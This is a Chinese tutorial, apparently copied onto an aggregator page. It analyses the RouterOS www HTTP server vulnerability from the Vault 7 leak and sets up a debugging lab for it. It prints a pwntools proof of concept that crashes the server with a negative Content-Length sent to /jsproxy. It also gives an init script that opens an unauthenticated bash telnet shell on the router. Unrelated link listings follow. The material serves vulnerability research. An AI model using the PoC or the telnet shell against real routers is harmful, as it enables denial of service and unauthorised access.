一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

时间:2023-02-19 13:42:09

前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


本文分析 Vault 7 中泄露的 RouterOs 漏洞。漏洞影响 6.38.5 以下的版本。

What's new in 6.38.5 (2017-Mar-09 11:32):
!) www - fixed http server vulnerability;

文中涉及的文件:

链接: https://pan.baidu.com/s/1i5oznSh 密码: 9r43

正文

补丁对比&&漏洞分析

首先我们先来看看漏洞的原理,漏洞位于 www 文件。

我们需要拿到 www 文件, 直接用 binwalk 提取出 router os 镜像文件的所有内容。

binwalk -Me mikrotik-6.38.4.iso

然后在提取出的文件中搜索即可。

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

同样的方法提取出 mikrotik-6.38.5.iso 中的 www 文件。

然后使用 diaphora 插件 对 这两个文件进行补丁比对 (因为 6.38.5 正好修复了漏洞)

首先打开 www_6384 (6.38.4版本的文件), 然后使用 diaphora 导出 sqlite 数据库, diaphora 使用这个数据库文件进行 diff 操作。

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

然后打开 www_6385 (6.38.5版本的文件),使用 diaphora 进行 diff

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

找到相似度比较低的函数

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

选中要查看差异的 条目 ,然后右键

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

可以选择查看 diff 的选项,使用 diff pseudo-code 就可以对 伪c 代码 diff

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

对比 diff 可以发现, 修复漏洞后的程序 没有了 alloca, 而是直接使用 string::string 构造了 字符串。

下面直接分析 www_6384 .

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

获取 content-length 的值之后,就传给了 alloca 分配内存。

这里和前文不同的是,这里 alloca的参数是 无符号数。

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

所以我们能修改的是栈顶以上的数据,触发崩溃的poc.

poc

from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s1.send(makeHeader(-1) + "A" * 1000)

注:ip 按实际情况设置

调试环境搭建&&Poc测试

首先我们得先安装 routeros, 使用 vmware 加载 iso

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

注: routeros 是 32 位的, 硬盘类型要为 ide 否则会找不到驱动。

然后开启虚拟机,就会进入

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

a选择所有 ,然后按 i 进行安装,然后一直输入 y 确定即可。

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

安装完成后,重启,就会进入 登录界面了,使用 admin 和空密码登录即可。

然后输入 setup ,接着输入 a, 按照提示配置好 ip 地址。

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

然后就可以使用 ssh 登录了。

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

Router Os linux 做了大量的裁剪,所以我们需要给系统增加一些文件方便进行调试,busyboxgdbserver (文件在百度云内)。

要增加文件需要使用一个 live-cd 版的 linux 挂载 router os 的磁盘分区,增加文件。这里使用了 ubuntu.

关闭虚拟机,设置光盘镜像,然后修改引导为 光盘即可进入 live-cd

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

选择 try ubuntu, 进入系统后,挂载 /dev/sda1/dev/sda2

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

busyboxgdbserver 放到 bin 目录(不是在/dev/sda1 就是在 /dev/sda2 )下,然后在 etc 目录下新建 rc.d/run.d/S99own , 内容为

#!/bin/bash
mkdir /ram/mybin
/flash/bin/busybox-i686 --install -s /ram/mybin
export PATH=/ram/mybin:$PATH
telnetd -p 23000 -l bash

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

umount 然后去掉光盘, 重新启动,应该就可以 telnet 192.168.2.124 23000 连接了。

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

此时使用

gdbserver.i686 192.168.2.124:5050 --attach $(pidof www)

如图

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

然后 gdb 连上去。

target remote 192.168.2.124:5050

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

运行poc,程序崩溃。

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

参考:

https://github.com/BigNerd95/Chimay-Red/

一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc的更多相关文章

  1. PhpStorm Xdebug远程调试环境搭建原理分析及问题排查

    2017年05月26日  经验心得 目录   一. 环境介绍 二. 远程环境配置 2.2 Xdebug安装 2.3 配置 三. 本地phpstorm配置 3.1 下载远程代码 3.2 添加php解释器 ...

  2. arm64 调试环境搭建及 ROP 实战

    前言 比赛的一个 arm 64 位的 pwn 题,通过这个题实践了 arm 64 下的 rop 以及调试环境搭建的方式. 题目文件 https://gitee.com/hac425/blog_data ...

  3. Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建

    Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建 由于公司里的Solr调试都是用远程jpda进行的,但是家里只有一台电脑所以不能jpda进行调试,这是因为jpda的端口冲突.所以 ...

  4. 《天书夜读:从汇编语言到windows内核编程》四 windows内核调试环境搭建

    1) 基础篇是讲理论的,先跳过去,看不到代码运行的效果要去记代码是一个痛苦的事情.这里先跳入探索篇.其实今天的确也很痛苦,这作者对驱动开发的编译与调试环境介绍得太模糊了,我是各种尝试,对这个环境的搭建 ...

  5. Vue源码学习(一):调试环境搭建

    最近开始学习Vue源码,第一步就是要把调试环境搭好,这个过程遇到小坑着实费了点功夫,在这里记下来 一.调试环境搭建过程 1.安装node.js,具体不展开 2.下载vue项目源码,git或svn等均可 ...

  6. i.MX RT600之DSP调试环境搭建篇

    恩智浦的i.MX RT600是跨界处理器产品,同样也是i.MX RTxxx系列的开山之作.不同于i.MX RT1xxx系列单片机,i.MX RT600 采用了双核架构,将新一代Cortex-M33内核 ...

  7. Windows下Lua+Redis 断点调试环境搭建==Linux下类似

    Lua+Redis 断点调试环境搭建 windows环境,使用Redis,写lua脚本头疼的问题之一不能对脚本断点调试,google加上自己的摸索,终于搞定. 1.下载ZeroBraneStudio, ...

  8. Windebug双机调试环境搭建

    Windebug双机调试环境搭建    开始进行内核编程/驱动编程的调试工作是非常烦人的,由于程序运行与内核层不受操作系统的管控,所以容易引起主机蓝屏和崩溃是常有的事.这也就使得内核程序的调试成了一大 ...

  9. HI3518E平台ISP调试环境搭建

    海思的SDK提供了ISP调试的相关工具,降低了IPC的ISP调试的难度.初次搭建ISP调试环境,记录一下. SDK版本:Hi3518_MPP_V1.0.A.0 硬件平台:HI3518E_OV9732 ...

随机推荐

  1. sql中批量删除带有外键的所有表

    1首先删除所有的外检约束 --删除所有外键约束 DECLARE c1 cursor forselect 'alter table ['+ object_name(parent_obj) + '] dr ...

  2. PHP-redis中文文档介绍(转自http://www.jb51.net/article/33887.htm)

    Redis::__construct构造函数$redis = new Redis(); connect, open 链接redis服务参数host: string,服务地址port: int,端口号t ...

  3. Hibernate中的一级缓存、二级缓存和懒加载(转)

    1.为什么使用缓存 hibernate使用缓存减少对数据库的访问次数,从而提升hibernate的执行效率.hibernate中有两种类型的缓存:一级缓存和二级缓存. 2.一级缓存 Hibenate中 ...

  4. (实用篇)php精确的统计在线人数的方法

    这是一个非常精确的,通过php实现统计在线人数的方法,想知道怎么实现的请耐心阅读. <?php $filename='online.txt';//数据文件 $cookiename='VGOTCN ...

  5. 实用工具推荐(Live Writer)(2015年05月26日)

    1.写博客的实用工具 推荐软件:Live Writer 使用步骤: 1.安装 Live Essential 2011,下载地址:http://explore.live.com/windows-live ...

  6. 事件分发&amp&semi;响应链

    iOS的三种事件:触摸事件/运动事件/远程控制事件 typedef enum { UIEventTypeTouches, UIEventTypeMotion, UIEventTypeRemoteCon ...

  7. rman全库恢复到不同主机,不同实例名,不同目录下

    一.配置目标主机的ip.hostname及与源端主机的连通性 1.配置目标主机IP 使用图形界面配置IP: administration----network---修改IP(指定静态IP) deact ...

  8. Eureka服务注册中心

    Eureka服务注册中心 最近在研究Spring Cloud,发现其中的组件实在是太多了,真的是头大,只能一块一块看,像盲人摸象一样.要想很短时间内掌握Spring Cloud是不可能的,小编就学习一 ...

  9. ios 输入框问题

    去除ios输入框阴影 input,textarea{-webkit-appearance:none; outline: none; } ios有边框时设置boder-radius:0: 去除默认圆角问 ...

  10. GitHub--创建新的分支&lpar;转&rpar;

    如何在 GitHub 的项目中创建一个分支呢? 其实很简单啦,直接点击 Branch,然后在弹出的文本框中添加自己的 Branch Name 然后点击蓝色的Create branch就可以了,这样一来 ...